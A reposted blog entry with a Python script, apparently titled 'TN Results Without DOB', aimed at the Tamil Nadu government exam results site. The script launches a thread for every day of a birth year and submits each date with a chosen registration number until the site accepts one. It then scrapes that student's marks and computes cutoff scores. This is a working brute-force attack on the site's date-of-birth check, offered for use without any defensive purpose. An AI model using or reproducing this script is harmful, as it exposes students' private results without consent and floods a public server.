Get Even More Visitors To Your Blog, Upgrade To A Business Listing >>

TN Results Without DOB

import requests
from threading import Thread
from bs4 import BeautifulSoup
from pyperclip import copy
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
}
b='http://tnresults.nic.in/'

s=requests.session()
import webbrowser
from datetime import timedelta, date


import os
from time import sleep
r2=lambda x,y=None: round(x+1e-15,y)
c=0


def ks(x='',y=''):
global c
data ={'regno':rno,'dob':dob,"B1":"Get Marks"}
if y:
z=y.strftime("%d/%m/%Y")
data['dob']=z

# data['regno']=x
req = s.post(url, data=data)
cb=0
if 'Please check your Registration Number and DOB' not in req.text:
print(req.text);#exit()
if y:print(z)
if yr==10:os._exit(1)
z=('```\n')
soup=BeautifulSoup(req.text,'lxml')
z+='{}\t{}\n'.format((repr(soup.select('table')[1].select('tr')[0].text).split(r'\xa0\xa0\xa0')[0][3:]),rno)
for k,i in enumerate((soup.select('table')[1]).select('tr')[2:]):
j=i.select('td')
z+=("{:20}".format(repr(j[0].text).replace(r'\xa0',''))+' '+repr(j[-1].text).replace(r'\xa0',''))+'\n'
if k in [2,3]:cb+=int(j[-1].text)/4
elif k in [5]:cb1=cb+int(j[-1].text)/2
elif k in [4]:cb2=cb+int(j[-1].text)/2
if 'PHYSICS' in z:z+=("{:20}".format("'Eng CutOFF'")+' '+str(r2(cb1,2)))+'\n'
if 'PHYSICS' in z and 'BIOLOGY' in z:z+=("{:20}".format("'Med CutOFF'")+' '+str(r2(cb2,2)))+'\n'
z+=('\n```')
copy(z)
os._exit(1)
else:
c+=1
if y:print(c,z)
else:print('Wrong')


yr=11
if yr==12:
url=f"{b}epqrs.asp"
headers["Referer"]=f"{b}epqit.htm"
rno=1307806 #random
dob='07/03/2001'
elif yr==11:
url=f"{b}fshrs.asp"
headers["Referer"]=f"{b}fshsc.htm"
rno=3304428
dob='27/03/2002' #random
elif yr==10:
#need verify
url=f"{b}petrs.asp"
headers["Referer"]=f"{b}pete.htm"
rno=5304567 #random
dob='27/03/2003'
s.headers.update(headers)

if 0:
ks()
exit()
if yr==10:x=3
if yr==11:x=2
if yr==12:x=1
def daterange(x):
start_date = date(x, 1, 1)
end_date = date(x+1, 1, 1)
for n in range(int ((end_date - start_date).days)):
yield start_date + timedelta(n)

for y in (x,):
tt=[Thread(target=ks, args=(k,single_date,)) for k,single_date in enumerate(daterange(2000+y))]
for t in tt:t.start()
for t in tt:t.join()



This post first appeared on SMARTMANOJ, please read the originial post: here

Share the post

TN Results Without DOB

×

Subscribe to Smartmanoj

Get updates delivered right to your inbox!

Thank you for your subscription

×